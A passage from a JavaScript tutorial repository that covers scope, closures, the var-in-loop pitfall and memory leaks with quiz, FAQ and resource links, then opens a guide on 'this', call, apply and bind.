constant variable\n    \n    // BUT: const objects/arrays CAN be mutated!\n    const user = { name: \"Alice\" }\n    user.name = \"Bob\"   // ✓ This works!\n    user.age = 25       // ✓ This works too!\n    // user = {}        // ✗ This fails (reassignment)\n    ```\n  </Tab>\n  <Tab title=\"Hoisting Behavior\">\n    ```javascript\n    function hoistingDemo() {\n      // var: hoisted and initialized as undefined\n      console.log(a);  // undefined\n      var a = 1;\n      \n      // let: hoisted but NOT initialized (TDZ)\n      // console.log(b);  // ReferenceError!\n      let b = 2;\n      \n      // const: same as let\n      // console.log(c);  // ReferenceError!\n      const c = 3;\n    }\n    ```\n  </Tab>\n</Tabs>\n\n### The Classic for-loop Problem\n\nThis is one of the most common JavaScript gotchas, and it perfectly illustrates why `let` is preferred over `var`:\n\n```javascript\n// The Problem: var is function-scoped\nfor (var i = 0; i < 3; i++) {\n  setTimeout(() => {\n    console.log(i)\n  }, 100)\n}\n// Output: 3, 3, 3  (not 0, 1, 2!)\n\n// Why? There's only ONE 'i' variable shared across all iterations.\n// By the time the setTimeout callbacks run, the loop has finished and i === 3.\n```\n\nThe [`setTimeout()`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) callbacks all close over the same `i` variable, which equals `3` by the time they execute. (To understand why the callbacks don't run immediately, see our [Event Loop](/concepts/event-loop) guide.)\n\n```javascript\n// The Solution: let is block-scoped\nfor (let i = 0; i < 3; i++) {\n  setTimeout(() => {\n    console.log(i)\n  }, 100)\n}\n// Output: 0, 1, 2  (correct!)\n\n// Why? Each iteration gets its OWN 'i' variable.\n// Each setTimeout callback closes over a different 'i'.\n```\n\n<Tip>\n**Modern Best Practice:**\n1. Use `const` by default\n2. Use `let` when you need to reassign\n3. Avoid `var` entirely (legacy code only)\n\nThis approach catches bugs at compile time and makes your intent clear.\n</Tip>\n\n---\n\n## Lexical Scope\n\n**Lexical scope** (also called **static scope**) means that the scope of a variable is determined by its position in the source code, not by how functions are called at runtime. As Kyle Simpson explains in *You Don't Know JS: Scope & Closures*, lexical scope is determined at \"lex-time\" — the time when the code is being parsed — which is why it is also called \"static\" scope.\n\n```javascript\nconst outer = \"I'm outside!\";\n\nfunction outerFunction() {\n  const middle = \"I'm in the middle!\";\n  \n  function innerFunction() {\n    const inner = \"I'm inside!\";\n    \n    // innerFunction can access all three variables\n    console.log(inner);   // ✓ Own scope\n    console.log(middle);  // ✓ Parent scope\n    console.log(outer);   // ✓ Global scope\n  }\n  \n  innerFunction();\n  // console.log(inner);  // ✗ ReferenceError\n}\n\nouterFunction();\n// console.log(middle);   // ✗ ReferenceError\n```\n\n### The Scope Chain\n\nWhen JavaScript needs to find a variable, it walks up the **scope chain**. It starts from the current scope and moves outward until it finds the variable or reaches the global scope.\n\n<Steps>\n  <Step title=\"Look in Current Scope\">\n    JavaScript first checks if the variable exists in the current function/block scope.\n  </Step>\n  \n  <Step title=\"Look in Parent Scope\">\n    If not found, it checks the enclosing (parent) scope.\n  </Step>\n  \n  <Step title=\"Continue Up the Chain\">\n    This process continues up through all ancestor scopes.\n  </Step>\n  \n  <Step title=\"Reach Global Scope\">\n    Finally, it checks the global scope. If still not found, a `ReferenceError` is thrown.\n  </Step>\n</Steps>\n\n```\nVariable Lookup: Where is 'x'?\n\n┌─────────────────────────────────────────────────┐\n│ Global Scope                                    │\n│   x = \"global\"                                  │\n│                                                 │\n│   ┌─────────────────────────────────────────┐   │\n│   │ outer() Scope                           │   │\n│   │   x = \"outer\"                           │   │\n│   │                                         │   │\n│   │   ┌─────────────────────────────────┐   │   │\n│   │   │ inner() Scope                   │   │   │\n│   │   │                                 │   │   │\n│   │   │   console.log(x);               │   │   │\n│   │   │         │                       │   │   │\n│   │   │         ▼                       │   │   │\n│   │   │   1. Check inner() → not found  │   │   │\n│   │   │         │                       │   │   │\n│   │   └─────────│───────────────────────┘   │   │\n│   │             ▼                           │   │\n│   │   2. Check outer() → FOUND! \"outer\"     │   │\n│   │                                         │   │\n│   └─────────────────────────────────────────┘   │\n│                                                 │\n└─────────────────────────────────────────────────┘\n\nResult: \"outer\"\n```\n\n### Variable Shadowing\n\nWhen an inner scope declares a variable with the same name as an outer scope, the inner variable \"shadows\" the outer one:\n\n```javascript\nconst name = \"Global\";\n\nfunction greet() {\n  const name = \"Function\";  // Shadows global 'name'\n  \n  if (true) {\n    const name = \"Block\";   // Shadows function 'name'\n    console.log(name);      // \"Block\"\n  }\n  \n  console.log(name);        // \"Function\"\n}\n\ngreet();\nconsole.log(name);          // \"Global\"\n```\n\n<Warning>\nShadowing can be confusing. While sometimes intentional, accidental shadowing is a common source of bugs. Many linters warn about this.\n</Warning>\n\n---\n\n## What is a Closure in JavaScript?\n\nA **[closure](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Closures)** is the combination of a function bundled together with references to its surrounding state (the lexical environment). According to MDN, a closure gives a function access to variables from an outer (enclosing) scope, even after that outer function has finished executing and returned. Every function in JavaScript creates a closure at creation time.\n\nRemember our office building analogy? A closure is like someone who worked in the private office, left the building, but still remembers exactly where everything was, and can still use that knowledge!\n\n### Every Function Creates a Closure\n\nIn JavaScript, closures are created automatically every time you create a function. The function maintains a reference to its lexical environment.\n\n```javascript\nfunction createGreeter(greeting) {\n  // 'greeting' is in createGreeter's scope\n  \n  return function(name) {\n    // This inner function is a closure!\n    // It \"closes over\" the 'greeting' variable\n    console.log(`${greeting}, ${name}!`);\n  };\n}\n\nconst sayHello = createGreeter(\"Hello\");\nconst sayHola = createGreeter(\"Hola\");\n\n// createGreeter has finished executing, but...\nsayHello(\"Alice\");  // \"Hello, Alice!\"\nsayHola(\"Bob\");     // \"Hola, Bob!\"\n\n// The inner functions still remember their 'greeting' values!\n```\n\n### How Closures Work: Step by Step\n\n<Steps>\n  <Step title=\"Outer Function is Called\">\n    `createGreeter(\"Hello\")` is called. A new execution context is created with `greeting = \"Hello\"`.\n  </Step>\n  \n  <Step title=\"Inner Function is Created\">\n    The inner function is created. It captures a reference to the current lexical environment (which includes `greeting`).\n  </Step>\n  \n  <Step title=\"Outer Function Returns\">\n    `createGreeter` returns the inner function and its execution context is (normally) cleaned up.\n  </Step>\n  \n  <Step title=\"But the Closure Survives!\">\n    Because the inner function holds a reference to the lexical environment, the `greeting` variable is NOT garbage collected. It survives!\n  </Step>\n  \n  <Step title=\"Closure is Invoked Later\">\n    When `sayHello(\"Alice\")` is called, the function can still access `greeting` through its closure.\n  </Step>\n</Steps>\n\n```\nAfter createGreeter(\"Hello\") returns:\n\n┌──────────────────────────────────────┐\n│ sayHello (Function)                  │\n├──────────────────────────────────────┤\n│ [[Code]]: function(name) {...}       │\n│                                      │\n│ [[Environment]]: ────────────────────────┐\n└──────────────────────────────────────┘   │\n                                           ▼\n                          ┌────────────────────────────┐\n                          │ Lexical Environment        │\n                          │ (Kept alive by closure!)   │\n                          ├────────────────────────────┤\n                          │ greeting: \"Hello\"          │\n                          └────────────────────────────┘\n```\n\n---\n\n## Closures in the Wild\n\nClosures aren't just a theoretical concept. You'll use them every day. Here are the patterns that make closures so powerful.\n\n### 1. Data Privacy & Encapsulation\n\nClosures let you create truly private variables in JavaScript:\n\n```javascript\nfunction createCounter() {\n  let count = 0;  // Private variable - no way to access directly!\n  \n  return {\n    increment() {\n      count++;\n      return count;\n    },\n    decrement() {\n      count--;\n      return count;\n    },\n    getCount() {\n      return count;\n    }\n  };\n}\n\nconst counter = createCounter();\n\nconsole.log(counter.getCount());  // 0\nconsole.log(counter.increment()); // 1\nconsole.log(counter.increment()); // 2\nconsole.log(counter.decrement()); // 1\n\n// There's NO way to access 'count' directly!\nconsole.log(counter.count);       // undefined\n```\n\n<Tip>\nThis pattern is the foundation of the **Module Pattern**, widely used before ES6 modules became available. Learn more in our [IIFE, Modules and Namespaces](/concepts/iife-modules) guide.\n</Tip>\n\n### 2. Function Factories\n\nClosures let you create specialized functions on the fly:\n\n```javascript\nfunction createMultiplier(multiplier) {\n  return function(number) {\n    return number * multiplier;\n  };\n}\n\nconst double = createMultiplier(2);\nconst triple = createMultiplier(3);\nconst tenX = createMultiplier(10);\n\nconsole.log(double(5));   // 10\nconsole.log(triple(5));   // 15\nconsole.log(tenX(5));     // 50\n\n// Each function \"remembers\" its own multiplier\n```\n\nThis pattern works great with the [Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) for creating reusable API clients:\n\n```javascript\n// Real-world example: API request factories\nfunction createApiClient(baseUrl) {\n  return {\n    get(endpoint) {\n      return fetch(`${baseUrl}${endpoint}`);\n    },\n    post(endpoint, data) {\n      return fetch(`${baseUrl}${endpoint}`, {\n        method: 'POST',\n        body: JSON.stringify(data)\n      });\n    }\n  };\n}\n\nconst githubApi = createApiClient('https://api.github.com');\nconst myApi = createApiClient('https://myapp.com/api');\n\n// Each client remembers its baseUrl\ngithubApi.get('/users/leonardomso');\nmyApi.get('/users/1');\n```\n\n### 3. Preserving State in Callbacks & Event Handlers\n\nClosures are essential for maintaining state in asynchronous code. When you use [`addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener) to attach event handlers, those handlers can close over variables from their outer scope:\n\n```javascript\nfunction setupClickCounter(buttonId) {\n  let clicks = 0;  // This variable persists across clicks!\n  \n  const button = document.getElementById(buttonId);\n  \n  button.addEventListener('click', function() {\n    clicks++;\n    console.log(`Button clicked ${clicks} time${clicks === 1 ? '' : 's'}`);\n  });\n}\n\nsetupClickCounter('myButton');\n// Each click increments the same 'clicks' variable\n// Click 1: \"Button clicked 1 time\"\n// Click 2: \"Button clicked 2 times\"\n// Click 3: \"Button clicked 3 times\"\n```\n\n### 4. Memoization (Caching Results)\n\nClosures enable efficient caching of expensive computations:\n\n```javascript\nfunction createMemoizedFunction(fn) {\n  const cache = {};  // Cache persists across calls!\n  \n  return function(arg) {\n    if (arg in cache) {\n      console.log('Returning cached result');\n      return cache[arg];\n    }\n    \n    console.log('Computing result');\n    const result = fn(arg);\n    cache[arg] = result;\n    return result;\n  };\n}\n\n// Expensive operation: calculate factorial\nfunction factorial(n) {\n  if (n <= 1) return 1;\n  return n * factorial(n - 1);\n}\n\nconst memoizedFactorial = createMemoizedFunction(factorial);\n\nconsole.log(memoizedFactorial(5));  // Computing result → 120\nconsole.log(memoizedFactorial(5));  // Returning cached result → 120\nconsole.log(memoizedFactorial(5));  // Returning cached result → 120\n```\n\n---\n\n## Common Mistakes and Pitfalls\n\nUnderstanding scope and closures means understanding where things go wrong. These are the mistakes that trip up even experienced developers.\n\n### The #1 Closure Interview Question\n\nThis is the classic closure trap. Almost everyone gets it wrong the first time:\n\n### The Problem\n\n```javascript\n// What does this print?\nfor (var i = 0; i < 3; i++) {\n  setTimeout(function() {\n    console.log(i);\n  }, 1000);\n}\n\n// Most people expect: 0, 1, 2\n// Actual output: 3, 3, 3\n```\n\n### Why Does This Happen?\n\n```\nWhat actually happens:\n\n  TIME ════════════════════════════════════════════════════►\n\n  ┌─────────────────────────────────────────────────────────┐\n  │ IMMEDIATELY (milliseconds):                             │\n  │                                                         │\n  │   Loop iteration 1: i = 0, schedule callback            │\n  │   Loop iteration 2: i = 1, schedule callback            │\n  │   Loop iteration 3: i = 2, schedule callback            │\n  │   Loop ends: i = 3                                      │\n  │                                                         │\n  │   All 3 callbacks point to the SAME 'i' variable ──┐    │\n  └─────────────────────────────────────────────────────│───┘\n                                                        │\n                                                        ▼\n  ┌─────────────────────────────────────────────────────────┐\n  │ ~1 SECOND LATER:                                        │\n  │                                                         │\n  │   callback1 runs: \"What's i?\" → i is 3 → prints 3       │\n  │   callback2 runs: \"What's i?\" → i is 3 → prints 3       │\n  │   callback3 runs: \"What's i?\" → i is 3 → prints 3       │\n  │                                                         │\n  └─────────────────────────────────────────────────────────┘\n\n  Result: 3, 3, 3 (not 0, 1, 2!)\n```\n\n### The Solutions\n\n<Tabs>\n  <Tab title=\"Solution 1: Use let\">\n    The simplest modern solution. `let` creates a new binding for each iteration:\n    \n    ```javascript\n    for (let i = 0; i < 3; i++) {\n      setTimeout(function() {\n        console.log(i);\n      }, 1000);\n    }\n    // Output: 0, 1, 2 ✓\n    ```\n  </Tab>\n  <Tab title=\"Solution 2: IIFE\">\n    Pre-ES6 solution using an Immediately Invoked Function Expression:\n    \n    ```javascript\n    for (var i = 0; i < 3; i++) {\n      (function(j) {\n        setTimeout(function() {\n          console.log(j);\n        }, 1000);\n      })(i);  // Pass i as argument, creating a new 'j' each time\n    }\n    // Output: 0, 1, 2 ✓\n    ```\n  </Tab>\n  <Tab title=\"Solution 3: forEach\">\n    Using array methods, which naturally create new scope per iteration:\n    \n    ```javascript\n    [0, 1, 2].forEach(function(i) {\n      setTimeout(function() {\n        console.log(i);\n      }, 1000);\n    });\n    // Output: 0, 1, 2 ✓\n    ```\n  </Tab>\n</Tabs>\n\n### Memory Leaks from Closures\n\nClosures are powerful, but they come with responsibility. Since closures keep references to their outer scope variables, those variables can't be [garbage collected](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management#garbage_collection).\n\n### Potential Memory Leaks\n\n```javascript\nfunction createHeavyClosure() {\n  const hugeData = new Array(1000000).fill('x');  // Large data\n  \n  return function() {\n    // This reference to hugeData keeps the entire array in memory\n    console.log(hugeData.length);\n  };\n}\n\nconst leakyFunction = createHeavyClosure();\n// hugeData is still in memory because the closure references it\n```\n\n<Note>\nModern JavaScript engines like V8 can optimize closures that don't actually use outer variables. However, it's best practice to assume referenced variables are retained and explicitly clean up large data when you're done with it.\n</Note>\n\n### Breaking Closure References\n\nWhen you're done with a closure, explicitly break the reference. Use [`removeEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener) to clean up event handlers:\n\n```javascript\nfunction setupHandler(element) {\n  // Imagine this returns a large dataset\n  const largeData = { users: new Array(10000).fill({ name: 'User' }) };\n  \n  const handler = function() {\n    console.log(`Processing ${largeData.users.length} users`);\n  };\n  \n  element.addEventListener('click', handler);\n  \n  // Return a cleanup function\n  return function cleanup() {\n    element.removeEventListener('click', handler);\n    // Now handler and largeData can be garbage collected\n  };\n}\n\nconst button = document.getElementById('myButton');\nconst cleanup = setupHandler(button);\n\n// Later, when you're done with this functionality:\ncleanup();  // Removes listener, allows memory to be freed\n```\n\n<Tip>\n**Best Practices:**\n1. Don't capture more than you need in closures\n2. Set closure references to `null` when done\n3. Remove event listeners when components unmount\n4. Be especially careful in loops and long-lived applications\n</Tip>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about Scope & Closures:**\n\n1. **Scope = Variable Visibility** — It determines where variables can be accessed\n\n2. **Three types of scope**: Global (everywhere), Function (`var`), Block (`let`/`const`)\n\n3. **Lexical scope is static** — Determined by code position, not runtime behavior\n\n4. **Scope chain** — JavaScript looks up variables from inner to outer scope\n\n5. **`let` and `const` are block-scoped** — Prefer them over `var`\n\n6. **Temporal Dead Zone** — `let`/`const` can't be accessed before declaration\n\n7. **Closure = Function + Its Lexical Environment** — Functions \"remember\" where they were created\n\n8. **Closures enable**: Data privacy, function factories, stateful callbacks, memoization\n\n9. **Watch for the loop gotcha** — Use `let` instead of `var` in loops with async callbacks\n\n10. **Mind memory** — Closures keep references alive; clean up when done\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What are the three types of scope in JavaScript?\">\n    **Answer:**\n    \n    1. **Global Scope** — Variables declared outside any function or block; accessible everywhere\n    2. **Function Scope** — Variables declared with `var` inside a function; accessible only within that function\n    3. **Block Scope** — Variables declared with `let` or `const` inside a block `{}`; accessible only within that block\n    \n    ```javascript\n    const global = \"everywhere\";        // Global scope\n    \n    function example() {\n      var functionScoped = \"function\";  // Function scope\n      \n      if (true) {\n        let blockScoped = \"block\";      // Block scope\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What is the Temporal Dead Zone?\">\n    **Answer:** The Temporal Dead Zone (TDZ) is the period between entering a scope and the actual declaration of a `let` or `const` variable. During this time, the variable exists but cannot be accessed. Doing so throws a `ReferenceError`.\n    \n    ```javascript\n    function example() {\n      // TDZ starts for 'x'\n      console.log(x);  // ReferenceError!\n      // TDZ continues...\n      let x = 10;      // TDZ ends\n      console.log(x);  // 10 ✓\n    }\n    ```\n    \n    The TDZ helps catch bugs where you accidentally use variables before they're initialized.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What is lexical scope?\">\n    **Answer:** Lexical scope (also called static scope) means that the accessibility of variables is determined by their physical position in the source code at write time, not by how or where functions are called at runtime.\n    \n    Inner functions have access to variables declared in their outer functions because of where they are written, not because of when they're invoked.\n    \n    ```javascript\n    function outer() {\n      const message = \"Hello\";\n      \n      function inner() {\n        console.log(message);  // Can access 'message' because of lexical scope\n      }\n      \n      return inner;\n    }\n    \n    const fn = outer();\n    fn();  // \"Hello\" — still works even though outer() has returned\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What is a closure?\">\n    **Answer:** A closure is a function combined with references to its surrounding lexical environment. In simpler terms, a closure is a function that \"remembers\" the variables from the scope where it was created, even when executed outside that scope.\n    \n    ```javascript\n    function createCounter() {\n      let count = 0;  // This variable is \"enclosed\" in the closure\n      \n      return function() {\n        count++;\n        return count;\n      };\n    }\n    \n    const counter = createCounter();\n    console.log(counter());  // 1\n    console.log(counter());  // 2\n    // 'count' persists because of the closure\n    ```\n    \n    Every function in JavaScript creates a closure. The term usually refers to situations where this behavior is notably useful or surprising.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What will this code output and why?\">\n    ```javascript\n    for (var i = 0; i < 3; i++) {\n      setTimeout(() => console.log(i), 100);\n    }\n    ```\n    \n    **Answer:** It outputs `3, 3, 3`.\n    \n    **Why?** Because `var` is function-scoped (not block-scoped), there's only ONE `i` variable shared across all iterations. By the time the `setTimeout` callbacks execute (after ~100ms), the loop has already completed and `i` equals `3`.\n    \n    **Fix:** Use `let` instead of `var`:\n    ```javascript\n    for (let i = 0; i < 3; i++) {\n      setTimeout(() => console.log(i), 100);\n    }\n    // Outputs: 0, 1, 2\n    ```\n    \n    With `let`, each iteration gets its own `i` variable, and each callback closes over a different value.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: When would you use a closure in real code?\">\n    **Answer:** Common practical uses for closures include:\n    \n    1. **Data Privacy** — Creating private variables that can't be accessed directly:\n    ```javascript\n    function createWallet(initial) {\n      let balance = initial;\n      return {\n        spend(amount) { balance -= amount; },\n        getBalance() { return balance; }\n      };\n    }\n    ```\n    \n    2. **Function Factories** — Creating specialized functions:\n    ```javascript\n    function createTaxCalculator(rate) {\n      return (amount) => amount * rate;\n    }\n    const calculateVAT = createTaxCalculator(0.20);\n    ```\n    \n    3. **Maintaining State in Callbacks** — Event handlers, timers, API calls:\n    ```javascript\n    function setupLogger(prefix) {\n      return (message) => console.log(`[${prefix}] ${message}`);\n    }\n    ```\n    \n    4. **Memoization/Caching** — Storing computed results:\n    ```javascript\n    function memoize(fn) {\n      const cache = {};\n      return (arg) => cache[arg] ?? (cache[arg] = fn(arg));\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between scope and closures in JavaScript?\">\n    Scope defines where a variable can be accessed in your code. A closure is what happens when a function keeps access to variables from its outer lexical scope even after that outer function returns. In short: scope is the rulebook, closure is a practical behavior created by those rules.\n  </Accordion>\n\n  <Accordion title=\"Why should I use let and const instead of var?\">\n    `let` and `const` are block-scoped, so they reduce accidental leaks and make intent clearer. `const` communicates that the binding should not be reassigned, while `let` is for values that change. `var` is function-scoped and hoisted in ways that often produce bugs, especially inside loops and conditionals.\n  </Accordion>\n\n  <Accordion title=\"How do closures work in JavaScript?\">\n    A function closes over the variables available where it was defined, not where it is called. When that function runs later, JavaScript still resolves those captured variables through the saved lexical environment.\n\n    ```javascript\n    function makeGreeter(name) {\n      return function greet() {\n        return `Hi, ${name}`;\n      };\n    }\n    ```\n  </Accordion>\n\n  <Accordion title=\"What are common use cases for closures?\">\n    Common uses include data privacy, function factories, memoization, and stateful callbacks. As Kyle Simpson explains in *You Don't Know JS: Scope & Closures*, closures are not a niche feature; they are a core part of how JavaScript functions work. You will use closures any time a callback needs to remember context.\n  </Accordion>\n\n  <Accordion title=\"What is lexical scope vs dynamic scope?\">\n    JavaScript uses lexical scope, which means variable access is decided by where code is written in the file. Dynamic scope would decide variable access based on the call stack at runtime, but JavaScript does not use that model. This is why moving a function changes what it can access, even if calls stay the same.\n  </Accordion>\n\n  <Accordion title=\"Can closures cause memory leaks?\">\n    Closures can keep objects in memory longer than expected if they retain references you no longer need. This is most common with long-lived event listeners and timers that capture large data structures. In the 2023 State of JS survey, many developers still reported debugging memory/performance issues, so cleaning up listeners and limiting captured data is an important habit.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Call Stack\" icon=\"layer-group\" href=\"/concepts/call-stack\">\n    How JavaScript tracks function execution and manages scope\n  </Card>\n  <Card title=\"Hoisting\" icon=\"arrow-up\" href=\"/beyond/concepts/hoisting\">\n    Deep dive into how JavaScript hoists declarations\n  </Card>\n  <Card title=\"IIFE, Modules and Namespaces\" icon=\"box\" href=\"/concepts/iife-modules\">\n    Patterns that leverage scope for encapsulation\n  </Card>\n  <Card title=\"this, call, apply and bind\" icon=\"bullseye\" href=\"/concepts/this-call-apply-bind\">\n    Understanding execution context alongside scope\n  </Card>\n  <Card title=\"Higher Order Functions\" icon=\"arrows-repeat\" href=\"/concepts/higher-order-functions\">\n    Functions that return functions often create closures\n  </Card>\n  <Card title=\"Currying & Composition\" icon=\"wand-magic-sparkles\" href=\"/concepts/currying-composition\">\n    Advanced patterns built on closures\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Closures — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Closures\">\n    Official MDN documentation on closures and lexical scoping\n  </Card>\n  <Card title=\"Scope — MDN Glossary\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Scope\">\n    MDN glossary entry explaining scope in JavaScript\n  </Card>\n  <Card title=\"var — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var\">\n    Reference for the var keyword, function scope, and hoisting\n  </Card>\n  <Card title=\"let — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let\">\n    Reference for the let keyword and block scope\n  </Card>\n  <Card title=\"const — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const\">\n    Reference for the const keyword and immutable bindings\n  </Card>\n  <Card title=\"Closures — JavaScript.Info\" icon=\"book\" href=\"https://javascript.info/closure\">\n    In-depth tutorial on closures and lexical environment\n  </Card>\n</CardGroup>\n\n## Books\n\n<Card title=\"You Don't Know JS Yet: Scope & Closures — Kyle Simpson\" icon=\"book\" href=\"https://github.com/getify/You-Dont-Know-JS/tree/2nd-ed/scope-closures\">\n  The definitive deep-dive into JavaScript scope and closures. Free to read online. This book will transform your understanding of how JavaScript really works.\n</Card>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Var, Let, and Const – What's the Difference?\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/var-let-and-const-whats-the-difference/\">\n    Clear FreeCodeCamp guide comparing the three variable declaration keywords with practical examples.\n  </Card>\n  <Card title=\"JavaScript Scope and Closures\" icon=\"newspaper\" href=\"https://css-tricks.com/javascript-scope-closures/\">\n    Zell Liew's comprehensive CSS-Tricks article covering both scope and closures in one excellent resource.\n  </Card>\n  <Card title=\"whatthefuck.is · A Closure\" icon=\"newspaper\" href=\"https://whatthefuck.is/closure\">\n    Dan Abramov's clear, concise explanation of closures. Perfect for the \"aha moment.\"\n  </Card>\n  <Card title=\"I never understood JavaScript closures\" icon=\"newspaper\" href=\"https://medium.com/dailyjs/i-never-understood-javascript-closures-9663703368e8\">\n    Olivier De Meulder's article that has helped countless developers finally understand closures.\n  </Card>\n  <Card title=\"The Difference Between Function and Block Scope\" icon=\"newspaper\" href=\"https://medium.com/@josephcardillo/the-difference-between-function-and-block-scope-in-javascript-4296b2322abe\">\n    Joseph Cardillo's focused explanation of how var differs from let and const in terms of scope.\n  </Card>\n  <Card title=\"Closures: Using Memoization\" icon=\"newspaper\" href=\"https://dev.to/steelvoltage/closures-using-memoization-3597\">\n    Brian Barbour's practical guide showing how closures enable powerful caching patterns.\n  </Card>\n</CardGroup>\n\n## Tools\n\n<Card title=\"JavaScript Tutor — Visualize Code Execution\" icon=\"play\" href=\"https://pythontutor.com/javascript.html\">\n  Step through JavaScript code and see how closures capture variables in real-time. Visualize the scope chain, execution contexts, and how functions \"remember\" their environment. Perfect for understanding closures visually.\n</Card>\n\n## Courses\n\n<Card title=\"JavaScript: Understanding the Weird Parts (First 3.5 Hours)\" icon=\"graduation-cap\" href=\"https://www.youtube.com/watch?v=Bv_5Zv5c-Ts\">\n  Free preview of Anthony Alicea's acclaimed course. Excellent coverage of scope, closures, and execution contexts.\n</Card>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript The Hard Parts: Closure, Scope & Execution Context\" icon=\"video\" href=\"https://www.youtube.com/watch?v=XTAzsODSCsM\">\n    Will Sentance draws out execution contexts and the scope chain on a whiteboard as code runs. This visual approach makes the \"how\" of closures click.\n  </Card>\n  <Card title=\"Closures in JavaScript\" icon=\"video\" href=\"https://youtu.be/qikxEIxsXco\">\n    Akshay Saini's popular Namaste JavaScript episode with clear visual explanations.\n  </Card>\n  <Card title=\"Closures — Fun Fun Function\" icon=\"video\" href=\"https://www.youtube.com/watch?v=CQqwU2Ixu-U\">\n    Mattias Petter Johansson's entertaining and educational take on closures.\n  </Card>\n  <Card title=\"Learn Closures In 7 Minutes\" icon=\"video\" href=\"https://www.youtube.com/watch?v=3a0I8ICR1Vg\">\n    Web Dev Simplified's concise, beginner-friendly closure explanation.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/this-call-apply-bind.mdx",
    "content": "---\ntitle: \"this, call, apply & bind\"\nsidebarTitle: \"this, call, apply, and bind: How Context Works\"\ndescription: \"Learn JavaScript's 'this' keyword and context binding. Master the 5 binding rules, call/apply/bind methods, and arrow functions.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Object-Oriented JavaScript\"\n\"article:tag\": \"javascript this keyword, call apply bind, context binding, function context, arrow functions\"\n---\n\nWhy does `this` sometimes point to the wrong object? Why does your method work perfectly when called directly, but break when passed as a callback? And how do **[`call`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call)**, **[`apply`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)**, and **[`bind`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind)** let you take control?\n\n```javascript\nconst user = {\n  name: \"Alice\",\n  greet() {\n    return `Hi, I'm ${this.name}`;\n  }\n};\n\nuser.greet();           // \"Hi, I'm Alice\" - works!\nconst greet = user.greet;\ngreet();                // \"Hi, I'm undefined\" - broken!\n```\n\nThe **[`this`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this)** keyword is one of JavaScript's most confusing features, but it follows specific rules. According to the Stack Overflow Developer Survey, `this` binding is consistently cited as one of the trickiest parts of JavaScript for developers to master. Once you understand them, you'll never be confused again.\n\n<Info>\n**What you'll learn in this guide:**\n- What `this` actually is and why it's determined at call time\n- The 5 binding rules that determine `this` (in priority order)\n- How `call()`, `apply()`, and `bind()` work and when to use each\n- Arrow functions and why they handle `this` differently\n- Common pitfalls and how to avoid them\n</Info>\n\n<Warning>\n**Prerequisite:** This guide builds on [Scope & Closures](/concepts/scope-and-closures). Understanding scope will help you see why `this` behaves differently than regular variables.\n</Warning>\n\n---\n\n## The Pronoun \"I\": A Real-World Analogy\n\nThink about the word \"I\" in everyday conversation. It's a simple word, but its meaning changes completely depending on **who is speaking**:\n\n```\n┌─────────────────────────────────────────────────────────────────┐\n│                      THE PRONOUN \"I\"                            │\n├─────────────────────────────────────────────────────────────────┤\n│                                                                 │\n│    Alice says: \"I am a developer\"                               │\n│                 ↓                                               │\n│            \"I\" = Alice                                          │\n│                                                                 │\n│    Bob says: \"I am a designer\"                                  │\n│               ↓                                                 │\n│            \"I\" = Bob                                            │\n│                                                                 │\n│    The SAME word \"I\" refers to DIFFERENT people                 │\n│    depending on WHO is speaking!                                │\n│                                                                 │\n└─────────────────────────────────────────────────────────────────┘\n```\n\nThis is exactly how `this` works in JavaScript! The keyword `this` is like the pronoun \"I\". It refers to different objects depending on **who is \"speaking\"** (which object is calling the function).\n\n```javascript\nconst alice = {\n  name: \"Alice\",\n  introduce() {\n    return \"I am \" + this.name;  // \"I\" = this = alice\n  }\n};\n\nconst bob = {\n  name: \"Bob\",\n  introduce() {\n    return \"I am \" + this.name;  // \"I\" = this = bob\n  }\n};\n\nalice.introduce();  // \"I am Alice\"\nbob.introduce();    // \"I am Bob\"\n```\n\nBut here's where JavaScript gets interesting. What if Alice could make Bob say her words? Like a ventriloquist making a puppet speak?\n\n```javascript\n// Alice borrows Bob's voice to introduce herself\nbob.introduce.call(alice);  // \"I am Alice\" (Bob's function, Alice's this)\n```\n\nThat's what `call`, `apply`, and `bind` do. They let you control **who \"I\" refers to**, regardless of which function is speaking.\n\n---\n\n## What is `this` in JavaScript?\n\nThe **`this`** keyword is a special identifier that JavaScript automatically creates in every function execution context. It refers to the object that is currently executing the code, typically the object that 